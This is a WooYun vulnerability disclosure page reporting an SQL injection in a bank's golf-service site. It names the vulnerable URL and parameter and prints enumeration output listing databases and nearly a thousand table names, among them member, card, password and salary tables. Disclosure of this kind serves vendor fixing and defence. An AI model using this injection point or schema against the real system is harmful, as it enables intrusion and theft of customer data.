当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-096885

漏洞标题:兴业银行某业务SQL注入漏洞

相关厂商:某银行

漏洞作者: 雅柏菲卡

提交时间:2015-02-11 23:01

修复时间:2015-03-28 23:02

公开时间:2015-03-28 23:02

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:8

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-11: 细节已通知厂商并且等待厂商处理中
2015-02-16: 厂商已经确认,细节仅向厂商公开
2015-02-26: 细节向核心白帽子及相关领域专家公开
2015-03-08: 细节向普通白帽子公开
2015-03-18: 细节向实习白帽子公开
2015-03-28: 细节向公众公开

简要描述:

........

详细说明:

...........

漏洞证明:

http://ccgolf.cib.com.cn/cibweb/equ/tgcount.jsp?group=14412  注入点
available databases [12]:
[*] APEX_030200
[*] CTXSYS
[*] EXFSYS
[*] GOLF2
[*] HKCRM
[*] HKKINGPASS
[*] MDSYS
[*] OLAPSYS
[*] SY@TEM
[*] SYS
[*] XDB
[*] YH@RM
Database: GOLF2
[984 tables]
+-------------------------------+
| "" |
| "??????\05" |
| "MLOG$_TEMP_PUFAZHUOXIN" |
| "\10M_USERLEVEL" |
| 2 |
| 5DM_CHECKGRADE |
| AA |
| ACCOUNT |
| ACCOUNTDETAIL |
| ACCOUNTDETAIL_BAK |
| ACCOUNTDOC |
| ACCOUNTDOCTOTAL |
| ACCOUNTOPERATE |
| ACCOUNTOPERATE_BAK |
| ACCOUNT_BAK |
| ACCOUNT_BAK20090705 |
| ACC_BEFORE |
| ACC_NOW |
| ACC_OPER |
| ACNT_TMP_DETAIL |
| ADJUSTPROCESS |
| ADVERTISING |
| ADV_BANK |
| ADV_MEMBER |
| AIR_BOOK |
| AIR_BOOKDETAIL |
| AIR_BOOK_DEAL |
| AIR_CHANGE_BOOK |
| AIR_CHANGE_BOOKDETAIL |
| AIR_CHANGE_PASSENGER |
| AIR_PASSENGER |
| AIR_PSG_FEEDETAIL |
| AIR_QUERY |
| AIR_SETTLE |
| ANALYSIS_BOOK |
| ANALYSIS_PRICE |
| APPLOG |
| ARTICLE |
| ARTICLE_CHANNEL |
| ARTICLE_FUNC |
| ARTICLE_INFO |
| ARTICLE_INFO_TEMP |
| ARTICLE_USER |
| ARTICLE_USERFUNC |
| BANKCARDBIN |
| BANKCUSTOMERINFO |
| BANKPOSDEAL |
| BANK_EDU_ARTICLE |
| BANK_USER_INFO |
| BEA_ORDER |
| BEA_PRODUCT |
| BILLDETAIL |
| BILLPROCESS |
| BILLS |
| BOCPOINT |
| BOCPOINT_PROCESS |
| BOC_CITY |
| BOOK |
| BOOKDEAL |
| BOOKERDEALSTAT |
| BOOKGUEST |
| BOOKITEM |
| BOOKPAY |
| BOOKPAY_1111 |
| BOOKSETTLE |
| BOOKVERIFY |
| BOOK_COPDEAL |
| BOOK_GUARANTEE |
| BOOK_TYPE |
| BUSINESSORDERDEAL |
| BUSINESSTRIPCUSTOM |
| BUSINESSTRIPGUEST |
| BUSINESSTRIPITEM |
| BUSINESSTRIPORDER |
| BUSINESSTRIPOTHERTHING |
| BUYCARD |
| CALL_DEAL |
| CANCELLIST |
| CAP_CALC |
| CAP_CRSINFO |
| CAP_CRSTEE |
| CAP_CRSTEEHOLE |
| CAP_SHOW |
| CAP_SHOWDETAIL |
| CARD |
| CARDCHANGE |
| CARDDATA |
| CARDLIMITTIME |
| CARDPROCESS |
| CARDTIMES |
| CARDTRAININFO |
| CARDTYPEDATE |
| CARDTYPES |
| CARDTYPE_D |
| CARDUPDATE |
| CARD_ANNUAL_DETAIL |
| CARD_RULE |
| CARD_TEACH |
| CERT_APPLY |
| CHANNEL |
| CHANNEL_STATISTICS |
| CIRCLE |
| CIRCLEACTIVITY |
| CIRCLEDISCUSS |
| CIRCLEFRIENDS |
| CLASSES |
| CLUBACCOUNT |
| CLUBALANCE |
| CLUBFAX |
| CLUBFRIEND |
| CMS_CHANNEL |
| CMS_COMMENT |
| CMS_POST |
| CMS_ROLEFUNC |
| CMS_STATUS |
| CMS_USER |
| CMS_USERROLE |
| COMBNETCRS |
| COMBNETINFO |
| COMPANYINFO |
| COMPLAIN |
| COMPLAIN_PROCESS |
| COMPLAIN_PROCESSID |
| CONFIRM_PROCESS_BOOK |
| CONSUME |
| CONSUME_1 |
| CONSUME_2 |
| COPARTNERS |
| COPARTNERS_0805 |
| COPARTNERS_BACK090807 |
| COPARTNER_CLIENT |
| COPARTNER_D |
| COPARTNER_NOTE |
| COPBALANCE |
| COPBANO |
| COPBAPART |
| COPCHANMAG |
| COPNOBALANCE |
| COPPERSON |
| COPRETDETAIL |
| COPRETPAYABLE |
| COPRETPAYDETAIL |
| COPRETRADIX |
| COPRETRULE |
| COPRETSETTLE |
| COPRETTYPE |
| COPRETTYPERULE |
| COUNSELPROCCESS |
| COUNTEND |
| COUNTER |
| CRS |
| CRSACCNTCHANGE |
| CRSACCOUNT |
| CRSALBUM |
| CRSAPPLYWEEK |
| CRSBALANCEDATE |
| CRSBOOKRIGHT |
| CRSBOOKRULE |
| CRSCANCELRULE |
| CRSCANCELRULE_LOG |
| CRSCARD |
| CRSCARDLIMITTIME |
| CRSCARDTYPES |
| CRSCLIENT_CARDTYPE |
| CRSCLIENT_CLIENTTYPE |
| CRSCLIENT_FOLLOW |
| CRSCLIENT_FUNC |
| CRSCLIENT_MANAGE |
| CRSCLIENT_MEMBER |
| CRSCLIENT_PATRONRULES |
| CRSCLIENT_TRYNOTES |
| CRSCLIENT_TRYRULES |
| CRSDAYTOTAL |
| CRSINFO |
| CRSINFOMODI |
| CRSINFONODE |
| CRSINFOTYPE |
| CRSMEMBER |
| CRSMERCHANDISEINFO_BAK |
| CRSMSG |
| CRSNEWS |
| CRSNOWACCOUNT |
| CRSNUMMON |
| CRSRET |
| CRSRETDETAIL |
| CRSRETRADIX |
| CRSRETTYPE |
| CRSSETTLE |
| CRSSTATMONEY |
| CRSSTATTEMP |
| CRSTEETIME |
| CRSTIPS |
| CRSUSER |
| CRSUSERS |
| CRSVOTENUM |
| CRSVOTES |
| CRS_ACCOUNT_NOW |
| CRS_BANK_RULE |
| CRS_EVALUATION |
| CRS_FEATURE_MIDDLE |
| CRS_LNG |
| CRS_PACTINFO |
| CRS_PERCENTAGE |
| CRS_PERFORMANCE_MIDDLE |
| CRS_POINTRULE |
| CRS_STATEMENT |
| CRS_TAOPIAO_ORDER |
| CTRL_CALLER_FEED |
| CTRL_CARDCRS |
| CTRL_CARDPRICE |
| CTRL_CRSAVG |
| CTXSYS |
| DAYBALANCE |
| DBLOGS |
| DEMANDS |
| DEMANDSDEAL |
| DEMANDS_RTX |
| DEPTINFO |
| DMAERADE |
| DMH_TEMP_TRACE |
| DMH_TR |
| DM_ACCOUNTTYPE |
| DM_ACNTOPERTYPE |
| DM_ADJSTATE |
| DM_AIRBOOKSTATE |
| DM_AIRBOOKVALIDITY |
| DM_ALBUM |
| DM_ALBUMDATATYPE |
| DM_AREA |
| DM_BALANCESTATE |
| DM_BANKBRANCH |
| DM_BANKCARD |
| DM_BANKPAYSUCCESS |
| DM_BANKTYPE |
| DM_BANKTYPE_BAK |
| DM_BILLSTATE |
| DM_BOOKFORM |
| DM_BOOKPATH |
| DM_BOOKSTATE_LNG |
| DM_BREAKTYPE |
| DM_BUSINESSTRIP_ITEM_TYPE |
| DM_CALCTYPE |
| DM_CALLOBJTYPE |
| DM_CALLOUTTYPE |
| DM_CALLTYPE |
| DM_CARD |
| DM_CARDBELONGTO |
| DM_CARDSTATE |
| DM_CARD_BIZ_TYPE |
| DM_CASHTYPE |
| DM_CHANGESTATE |
| DM_CHANGETYPE |
| DM_CHECKPASS |
| DM_CHECKTYPE |
| DM_CIRCLEACTIVITY |
| DM_CIRCLETYPE |
| DM_CITY_LNG |
| DM_COMMENETS |
| DM_COMP_GRADE |
| DM_COMP_POSTTYPE |
| DM_COMP_PRS |
| DM_COMP_STATE |
| DM_COMP_TYPE |
| DM_COPARTNERTYPE |
| DM_COPLEVEL |
| DM_COUNSELTYPE |
| DM_COURTYPE |
| DM_CPTLEVEL |
| DM_CPTTYPE |
| DM_CRSACCOUNTADDTYPE |
| DM_CRSMONEY |
| DM_CRSNUM |
| DM_CRSTEE |
| DM_CRSUSER |
| DM_CRS_FEATURE |
| DM_CRS_FETRUE_MIDDLE |
| DM_CURRENCYTYPE |
| DM_DATETYPE |
| DM_DELIVER |
| DM_DEMANDS_STATE |
| DM_DEMANDS_TYPE |
| DM_DEPARTMENT |
| DM_DEPTYPE |
| DM_DUTY |
| DM_EAGLE_BANKINFO |
| DM_EDUGRADE |
| DM_EDUTYPE |
| DM_EMPSTAT |
| DM_EPTPAYTYPE |
| DM_EPTSHORTSTATE |
| DM_FRIEND |
| DM_GDMOBILE |
| DM_GPSSTATE |
| DM_GREENUSETYPE |
| DM_HDJSTATE |
| DM_HDJTYPE |
| DM_HOUR |
| DM_HOUSESTEP |
| DM_HURRYTYPE |
| DM_IDCARDTYPE |
| DM_IDTYPE |
| DM_IGOLFCHANNELTYPE |
| DM_INPATH |
| DM_INTYPE |
| DM_INVITESTATUS |
| DM_ISSTATUS |
| DM_KP_PAYAMOUNT |
| DM_LEAVELIST_STATE |
| DM_LEAVELIST_TYPE |
| DM_LNGTYPE |
| DM_LOGTYPE |
| DM_MAIL_SMS_TYPE |
| DM_MAIL_TYPE |
| DM_MEMBERRIGHT |
| DM_MEM_PAY |
| DM_MINUTE |
| DM_MOBILEREGION |
| DM_MOTOPAYERROR |
| DM_MTBALANCETYPE |
| DM_MTCASHFLAG |
| DM_MTCRSBALANCE |
| DM_MTCRSFLAG |
| DM_MTDEALERFLAG |
| DM_MTPRICELEVEL |
| DM_MTTIME |
| DM_NATIONAL |
| DM_NOCOUNT |
| DM_NOTE |
| DM_NUMBERFLAG |
| DM_OBJTYPE |
| DM_OPERTYPE |
| DM_OPTIONTYPE |
| DM_OPTYPE |
| DM_ORDERSTATE |
| DM_OUTCALLKIND |
| DM_OUTCALL_BPATH |
| DM_PARTY |
| DM_PAYBANK |
| DM_PAYFLAG |
| DM_PAYPATH |
| DM_PAYSRC |
| DM_PAYSTAT |
| DM_PAYTYPE |
| DM_PAYUSE |
| DM_PHONE_BUSINESS_STAT_TYPE |
| DM_PHONE_CHANNELS_STAT_TYPE |
| DM_PHONE_CRS_STAT_TYPE |
| DM_PHONE_SEARCH_STAT_TYPE |
| DM_POINTTYPE |
| DM_POSFLAG |
| DM_POSTNAME |
| DM_PRICETYPE |
| DM_PRO_LEVEL |
| DM_PRO_TYPE |
| DM_QUESTIONTYPE |
| DM_REGMEMBERSRC |
| DM_REGSOURCE |
| DM_RETSPETYPE |
| DM_SENDTYPE |
| DM_SEQ |
| DM_SEQTYPE |
| DM_SETMODE |
| DM_SETTLETYPE |
| DM_SEX |
| DM_SIGNTYPE |
| DM_SOURCECARDTYPE |
| DM_STOCKTYPE |
| DM_SYSTEMTYPE |
| DM_TASKFLAG |
| DM_TASKPATH |
| DM_TASKPATHNEW |
| DM_TASKSTATE |
| DM_TASKTYPE |
| DM_TICKETSTATE |
| DM_TOPICTYPE |
| DM_TRADING |
| DM_TRANS |
| DM_TTTAG |
| DM_USER |
| DM_USERFRIENDTYPE |
| DM_USETYPE |
| DM_VIPLEVER |
| DM_VOTE |
| DM_WEATHERCODE |
| DM_WEDLOCK |
| DM_WEEK |
| ECFLOCK |
| EDUCATION_DOCUMENT |
| EDU_ARTICLE |
| EMPLOYED |
| EMPLOYEINFO |
| EMPLOYINFO |
| EPTBOOKPAY |
| EPTBRAND |
| EPTBRANDSPEC |
| EPTCHECK |
| EPTCHECKBATCH |
| EPTCHECKDETAIL |
| EPTCLASS |
| EPTCLASSDISCOUNT |
| EPTDATASYNCONFIG |
| EPTDATASYNCONFIGDETAIL |
| EPTDATASYNLOG |
| EPTDATASYNSQL |
| EPTDEPTSTOCK |
| EPTEXCHANGE |
| EPTMODEL |
| EPTPIC |
| EPTSALECOSTDETAIL |
| EPTSHORT |
| EPTSHORTPROCESS |
| EPTSPEC |
| EPTSPECVALUE |
| EPTSTOCKINOUTDETAIL |
| EPTSTOCKINOUTMASTER |
| EPTSTUFF |
| EPTTYPE |
| EQUIPMENT |
| ESHOPMOBILE |
| ESHOP_ADVERTISE |
| ESHOP_ADVISORY |
| ESHOP_NEWS |
| EXERCISERULES |
| EXFSYS |
| FAX_ADMIN |
| FAX_ELE |
| FAX_NINE |
| FAX_TEN |
| FILE_CHECKBILL |
| FISCALYEARTABLE1 |
| FUNCLIST |
| FUNCLST |
| GHDATA |
| GIVEMONEY |
| GOLF2 |
| GOLFLINKMEMBER |
| GOLF_BRAND |
| GOLF_CULTIVATE |
| GOLF_CULTIVATE_PROCESS |
| GOLF_QUESTION |
| GOLF_QUESTION_USER |
| GPS |
| GPS_BOOK |
| GPS_BOOKDEAL |
| GQT_TEAM |
| GREENTYPE |
| GREENUSE |
| GREENUSE_TT |
| GUESTBOOK |
| HIQQ_COPAHTNER |
| HKCRM |
| ICBCACCOUNT |
| ICBCPAY |
| IGOLF_CACHE_CONFIG |
| IGOLF_CARD |
| IGOLF_CARD_TAB |
| IGOLF_DEVICE |
| IGOLF_DEVICE_GROUP |
| IGOLF_DEVICE_GROUP_INFO |
| IGOLF_DEVICE_INFO |
| IGOLF_DSS |
| IGOLF_FAVORITE |
| IGOLF_MEMBER_GROUP_INFO |
| IGOLF_MSG |
| IGOLF_MSG_ACTION |
| IGOLF_MSG_GROUP |
| IGOLF_ONSALE |
| IGOLF_SEARCH_CONFIG |
| IGOLF_USERS |
| IMPORTFAIL |
| INFOCONTENT |
| INFOREPLY |
| INTF_BOOK_DETAIL |
| INTF_CRS_BOOK |
| INTF_CRS_DETAIL |
| INTF_CRS_RULE |
| INTF_CRS_TASK |
| INTF_RULE_DETAIL |
| INTF_RULE_MASTER |
| INTF_TTIME_BOOK |
| INVITE |
| INVOICE |
| IPHONE_MSG |
| ITEM |
| ITEMBASIC |
| ITEMBASICGROUP |
| ITEMBASIC_CLEAR |
| ITEMBASIC_GROUP_TEMPLATE |
| ITEMCLEAR |
| ITEMCLEAR_BAK20120514 |
| ITEMCLEAR_BAK20120515 |
| ITEMCLEAR_BAK20120927 |
| ITEMCLEAR_BAK_20120516 |
| ITEMSETTLE |
| ITEMSETTLE_LOG |
| ITEMTYPES |
| ITEM_LNG |
| JOINERS |
| KICKDAILY |
| KP_BANKCARDBIN |
| LEAVELIST |
| LEAVELISTDEAL |
| LILONG_TEST |
| LS_BIAO |
| MACH_WINNER |
| MAIL_SEND_DETAIL |
| MASSMS_RECODER |
| MATCH_INFO |
| MATCH_ORDER |
| MDSYS |
| MEMBER |
| MEMBERCARD |
| MEMBERCARD1126 |
| MEMBERCARD_BAK |
| MEMBERCRSCARD |
| MEMBERGREEN |
| MEMBERGREEN_BAK |
| MEMBERLEVEL |
| MEMBERPAYFAILEDLOGS |
| MEMBERPAYRANDOMPW |
| MEMBERUPDATE |
| MEMBER_CERT_INFO |
| MEMBER_INFO |
| MEMBER_LOG |
| MEMBER_MEMORY |
| MEMBER_MEMORY_BAK |
| MEMBER_POINTADD |
| MEMBER_POINTADD1230 |
| MEMBER_POINTADD123001 |
| MEMBER_PWD_LOG |
| MEMBER_REGSOURCE |
| MERCHANDISELNG |
| MIDDLE_CITY |
| MIDDLE_TABLE |
| MI_ANNUAL |
| MOBILE0917 |
| MOBILE_INFO |
| MOBILLISTT |
| MONBA |
| MONTHREPTEMP |
| MOVECARD |
| M_LOGIN_TOKEN |
| NEWADDRESS |
| NEWMEMBER |
| NICK_CHECK |
| NOSHOWMANAGE |
| NOTEGROUPTASK |
| NOTETASK |
| NOTETASK_20100519 |
| NOTETASK_STATEMENT |
| OFFLINE_CARDRECORD |
| OFFLINE_PLAYER |
| OFFLINE_SCORECARD |
| OLAPSYS |
| OPERLOG |
| OPTIONS |
| OPTION_ANSWER |
| ORGAN_INFO |
| PARAVALINFO |
| PAYAMOUNT |
| PAYOFTEN |
| PHONE_ADD |
| PHONE_ADD_14 |
| PHONE_ADD_15 |
| PHONE_ADD_18 |
| PHONE_BILLS |
| PHONE_BOOK |
| PHONE_BUSINESS_STAT |
| PHONE_CARDPLAYER |
| PHONE_CARDRECORD |
| PHONE_CHANNELS_STAT |
| PHONE_COMMENT |
| PHONE_COMMENT_CONTENT |
| PHONE_CRS_STAT |
| PHONE_GQT_IMAGE |
| PHONE_HOT_SPOT |
| PHONE_MEMBER_FAV |
| PHONE_MSG |
| PHONE_NUM |
| PHONE_SCORECARD |
| PHONE_SEARCH_STAT |
| POINTUSE |
| PRICEADJUST |
| PRICEANALYSE |
| PRICEANALYSEPL |
| PRODUCTCARD |
| PRODUCTCOPRET |
| PWDANS |
| QUESTION |
| QUESTIONNAIRE |
| QUESTIONNAIRES |
| QUESTIONS |
| QUEST_ANSER |
| QUEST_SL_TEMP_EXPLAIN1 |
| QUEST_TITLE |
| REDBULL_CHANNEL |
| REDBULL_COMMENT |
| REDBULL_MATCH_SCHEDULE |
| REDBULL_POST |
| REDBULL_POST_IMGS |
| REDBULL_ROLEFUNC |
| REDBULL_SCORE |
| REDBULL_STATUS |
| REDBULL_USER |
| REDBULL_USERROLE |
| REGSEDINFO |
| RESPONSEINVITE |
| RESUME |
| RETRULE |
| REVIEW |
| RIGHTCHANGE |
| ROLEFUNC |
| ROLEINFO |
| SALESOPERATION |
| SALESOPERATION_DEAL |
| SALESOPERATION_SQL |
| SAVEORDER |
| SCORE_SUMMARY |
| SEASABC |
| SECONDHAND_INFO |
| SECUGRADE |
| SENDVERIFY |
| SEQINFO |
| SEQNO |
| SERVICEITEM |
| SERVICEITEM_LNG |
| SHOPCAR |
| SHOP_INDEX_ALBUM |
| SMS_MASNO |
| SMS_SEND |
| SOURCESN_CHANGE |
| SPDB20130307 |
| SPECIAL |
| SPEEDREGMEMBERINFO |
| SQL_LOG |
| STATISTICSPAGE |
| STATSCHEME |
| STATSCHEMEDETL |
| SUMMARY |
| SUP_CRSDEFAULT_RULE |
| SYSTEXT |
| SZCMS_CHANNELS |
| SZCMS_DMT_YPE |
| SZCMS_NEWS |
| SZCMS_PIC |
| TAOPIAO |
| TARGETANSWERS |
| TAXMONEY |
| TBL_IVR_LOG |
| TBL_SQ |
| TEMP |
| TEMP_20121205FAX |
| TEMP_20121205FAX01 |
| TEMP_20130214 |
| TEMP_20130331CCBCRS |
| TEMP_20130331CCBTRAIN |
| TEMP_20130331QIANYIBOOK |
| TEMP_20130331QIANYITRAINORDER |
| TEMP_20130331QIANYI_COUNT |
| TEMP_20130331QIANYI_COUNT2 |
| TEMP_20130331QIANYI_MONEY |
| TEMP_20130331QIANYI_MONEY2 |
| TEMP_BANK_PRICE |
| TEMP_BEIJING |
| TEMP_BOOK20130207 |
| TEMP_BOOKDEAL |
| TEMP_BOOKDETAIL |
| TEMP_BOOKK |
| TEMP_BOOKSUC |
| TEMP_BOOK_DEAL |
| TEMP_CAIWU |
| TEMP_CARD |
| TEMP_CARDTYPEDATE |
| TEMP_CCBBOOK |
| TEMP_CIB |
| TEMP_CIBBIAO |
| TEMP_CIBCUS |
| TEMP_CITIC |
| TEMP_CITICBOOK |
| TEMP_CITICMOBILE |
| TEMP_CITIC_MOBILE_0208 |
| TEMP_CITY |
| TEMP_CITY090507_FALSE |
| TEMP_CITY090512_FALSE |
| TEMP_CITY090512_TRUE |
| TEMP_CITY1 |
| TEMP_CITY2 |
| TEMP_CITYANDRE |
| TEMP_CITYB1 |
| TEMP_CITYCHICK |
| TEMP_COPARTNER |
| TEMP_COPNAME |
| TEMP_COPSHIDA |
| TEMP_CRS |
| TEMP_CRS0929 |
| TEMP_CRS20121126 |
| TEMP_CRS2012112601 |
| TEMP_CRS2012112602 |
| TEMP_CRSJM |
| TEMP_CRS_DELETE_2011_09_29 |
| TEMP_CRS_EXCEL_2011_09_29 |
| TEMP_CRS_UPDATE_2011_09_29 |
| TEMP_DM_CITY |
| TEMP_ERROR |
| TEMP_FT20120319 |
| TEMP_GREENBEIDONG |
| TEMP_GUANGZHOU_TEMP1 |
| TEMP_HKMOBILE |
| TEMP_HKMOBILE1 |
| TEMP_HYJSJ |
| TEMP_ICBCREG |
| TEMP_ITEMBASIC0120 |
| TEMP_ITEMCLEAR |
| TEMP_KPUPDATEBOOK |
| TEMP_LIST_TEST |
| TEMP_LIST_TEST2 |
| TEMP_LVKA |
| TEMP_LVKABEIJING |
| TEMP_LVKAREG |
| TEMP_MEMBER |
| TEMP_MEMBER090601 |
| TEMP_MEMBER090601 |
| TEMP_MEMBER090602 |
| TEMP_MEMBER20120209 |
| TEMP_MEMBERACCOUNT |
| TEMP_MEMBERGREEN |
| TEMP_MEMBERINFO |
| TEMP_MEMBERLOG |
| TEMP_MEMGREEN |
| TEMP_MEMMOBILE |
| TEMP_MOBILE |
| TEMP_MOBILE_XLS |
| TEMP_NULLPRO |
| TEMP_PRICE20121127 |
| TEMP_PRICE_BAK |
| TEMP_PROCARD |
| TEMP_PROMOTION |
| TEMP_PUFASMS |
| TEMP_PUFAZHUOXIN |
| TEMP_P_BOOKSTAT |
| TEMP_P_CARDCOPSTOCK |
| TEMP_P_CARDSEND |
| TEMP_P_CARDSTOCK |
| TEMP_P_COMWORD |
| TEMP_P_NOWBALANCE |
| TEMP_P_QEGCAOANC |
| TEMP_P_REGCOPNEW |
| TEMP_P_REGCOPSTAT |
| TEMP_P_REGCOPSTATNEW |
| TEMP_P_REGCOPSTATNEW1 |
| TEMP_P_REGMOVE |
| TEMP_P_REGSELL |
| TEMP_P_SP_CANCELBOOK |
| TEMP_P_SP_FILLDATE |
| TEMP_P_SP_RETURNCASH |
| TEMP_P_SP_UPDATECARDDATE |
| TEMP_P_STATCOPTYPE |
| TEMP_P_STATDAYREP |
| TEMP_QZH_MEMBER |
| TEMP_SALESOPERATION |
| TEMP_SALETASTAGAIN |
| TEMP_SHANGHAISANWAN |
| TEMP_SHANGHAI_MEM_TEMP |
| TEMP_SHANGHAI_TEMP1 |
| TEMP_SHANGHAI_TEMP2 |
| TEMP_SPDB2013030701 |
| TEMP_SPDB2013030703 |
| TEMP_SPDB2013030704 |
| TEMP_STAT_A |
| TEMP_STAT_B |
| TEMP_STAT_CLASS |
| TEMP_TEMPBOOK |
| TEMP_THAILAND_CRS |
| TEMP_THAILAND_T_CRS_INFO |
| TEMP_THAILAND_T_CRS_NEWS |
| TEMP_THAILAND_T_CRS_OTHERS |
| TEMP_TONGJI |
| TEMP_TRAINFAX |
| TEMP_TRAINFAX20120815 |
| TEMP_TRIAN_BANK_PRICE |
| TEMP_WL |
| TEMP_YEARCOUNT |
| TEMP_YEARCOUNT99 |
| TEMP_YHJSJ |
| TEMP_YHJSJ001 |
| TEMP_YHJSJ002 |
| TEMP_YINGYECRS |
| TEMP_YINGYETRAIN |
| TEMP_YZ407 |
| TEMP_YZ40801 |
| TEMP_YZ40802 |
| TEMP_ZHONGYIN |
| TEMP_ZHOONGYIN |
| TEMP_ZUANSHI |
| TEXT_CRS_IMPORT_2011_09_29 |
| TEXT_CRS_IMPORT_U2011_09_29 |
| TICKET |
| TICKETDEAL |
| TICKETS |
| TIMEAG |
| TIMEAGENT |
| TIMEC |
| TIMECOP |
| TIMESUSE |
| TMP |
| TMP1 |
| TMP2 |
| TMP_AA |
| TMP_AB |
| TMP_ABC |
| TMP_ACCOUNT |
| TMP_BOOK |
| TMP_BOOKDAILY |
| TMP_CARD1126 |
| TMP_COPID |
| TMP_CRSBOOK |
| TMP_CRSTEETIME |
| TMP_EQUIPMENT |
| TMP_MEMBERACCOUNT |
| TMP_MEMBERCARD |
| TMP_MOBILE |
| TMP_MOBILE1 |
| TMP_NAME |
| TMP_SEQ |
| TMP_SOURCESN |
| TMP_SP_SELLREG |
| TMP_SP_SELLREG_1 |
| TMP_TABLE |
| TMP_USERSINFO |
| TOPICQUES |
| TRAINADJUST |
| TRAINBASE |
| TRAINCANCEL |
| TRAINCONTROL |
| TRAINFAX |
| TRAINFAXDETAIL |
| TRAINITEM |
| TRAINORDER |
| TRAINORDERDETAIL |
| TRAINPROCESS |
| TRAIN_INFO |
| TRAIN_NEWS |
| TRAIN_OTHERS |
| TRAIN_PIC |
| TRANSFERMOBILE |
| TRAVEL_ALBUMDATA |
| TRAVEL_BOOK |
| TRAVEL_INFO |
| TTRESERVE |
| TTRULE |
| TTRULEDETAIL |
| T_CATEGORIZE |
| T_CRS_HOLE |
| T_CRS_HOLETECHNIQUE |
| T_CRS_INFO |
| T_CRS_INFO_BAK |
| T_CRS_NEWS |
| T_CRS_OTHERS |
| T_CRS_PID |
| T_DM_BED |
| T_DM_BREAKFAST |
| T_DM_CLASS |
| T_DM_LNG |
| T_DM_MCHAREA |
| T_DM_NET |
| T_DM_SERVICE |
| T_JOBS_INFO |
| T_MCH_AREA |
| T_MCH_GRADE |
| T_MCH_INFO |
| T_MCH_PIC |
| T_QUESTION_ANSWER |
| T_QUESTION_USER |
| T_TRL_ARRANGEMENT |
| T_TRL_HOTEL |
| T_TRL_INFO |
| T_TRL_LINE |
| T_TRL_NET |
| T_TRL_PIC |
| T_TRL_ROOM |
| T_TRL_SCENERY |
| T_TRL_TAB |
| UPDATBOOKSETTLE |
| UPDATE_YHBOOKCLUB |
| UPDATMEMBER |
| USERALBUM |
| USERALBUMDATA |
| USERCARD |
| USERCIRCLE |
| USERCOMMENTS |
| USERDUTY |
| USERFRIENDS |
| USERFUNC |
| USERINVITE |
| USERKICKHISTORY |
| USERLOGINLOG |
| USERMESSAGE |
| USERROLES |
| USERSINFO |
| USERTACTIC |
| VERSION |
| VIP |
| VIPLIMITTIME |
| VIP_MEMBER |
| V_BOOKALL2 |
| V_BOOKALLNEW2 |
| V_CRSBOOKSUM |
| V_TEETIMERESERVE |
| V_TEETIMERESERVE_CITIC |
| V_TEETIMERESERVE_MIN_PRICE |
| V_TEETIMERESERVE_SCORE |
| V_TOTALBOOKDAILY |
| WAPGQTCOUNT |
| WEATHER |
| WEBCRS_CHANNELS |
| WEBCRS_COMMENTS |
| WEBCRS_DMT_YPE |
| WEBCRS_NEWS |
| WEBCRS_PIC |
| YH_ACHIEVECHECKFORB |
| YH_AREA |
| YH_BOOKCANCEL |
| YH_BOOKCLUB_LOG |
| YH_BOOKDETAIL_LOG |
| YH_BOOKGUEST_LOG |
| YH_CALLAREA |
| YH_CALLOPERMAN |
| YH_CALLPHONE |
| YH_CANCELREG |
| YH_CARDINFO_BACKUP |
| YH_CARDINFO_BAK |
| YH_CASHACCOUNT |
| YH_CASHACCOUNTDETIAL |
| YH_CASHNOINFO |
| YH_CASTACCOUNT |
| YH_CASTACCOUNTBOOKDETAIL |
| YH_CHECKSTANDARD |
| YH_CLIENTDATATYPE |
| YH_CLIENTINFO_BACKUP |
| YH_CLUBORDERRULE |
| YH_CMBPOS |
| YH_COMPACT |
| YH_COURTINFO |
| YH_CPTCRSEXTAND |
| YH_CPTLINK |
| YH_CPTMERCHANDISE |
| YH_CREDITCALLBACK |
| YH_CRSEMPLOYE |
| YH_CRSHOURPRICE |
| YH_CRSPRICE |
| YH_CRSSPEDATE |
| YH_CRSSPEWEEK |
| YH_CRSTASKLIST |
| YH_CRSWEEKPRICE |
| YH_CRS_LNG |
| YH_CUSTACCOUNT |
| YH_CUSTACCOUNTDETAIL |
| YH_CUSTCALLINFO |
| YH_CUSTCALLTASK |
| YH_CUSTCALLTASKINFO |
| YH_CUSTDELLOG |
| YH_CUSTTASKLIST |
| YH_FORBIDDEN |
| YH_GRADESALARY |
| YH_HURRYCASH |
| YH_NATIONALITY |
| YH_NATIONALITY_LNG |
| YH_OUTEMAIL |
| YH_OUTTASK |
| YH_OUTTASK_20100519 |
| YH_PHONREOCRD |
| YH_POINTADD |
| YH_POINTEXC |
| YH_POSUSER |
| YH_PRODUCT |
| YH_PROMOTION |
| YH_RETSPEDETAIL |
| YH_SALARY |
| YH_SALARYDETAIL |
| YH_SALARYGRADE |
| YH_TRENCHINFO |
| YH_TRENCHINFO_LNG |
| ZXJLB |
| t_trl_tab |
+-------------------------------+
解表时间太慢了 搁在这儿

修复方案:

版权声明:转载请注明来源 雅柏菲卡@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2015-02-16 08:38

厂商回复:

最新状态:

暂无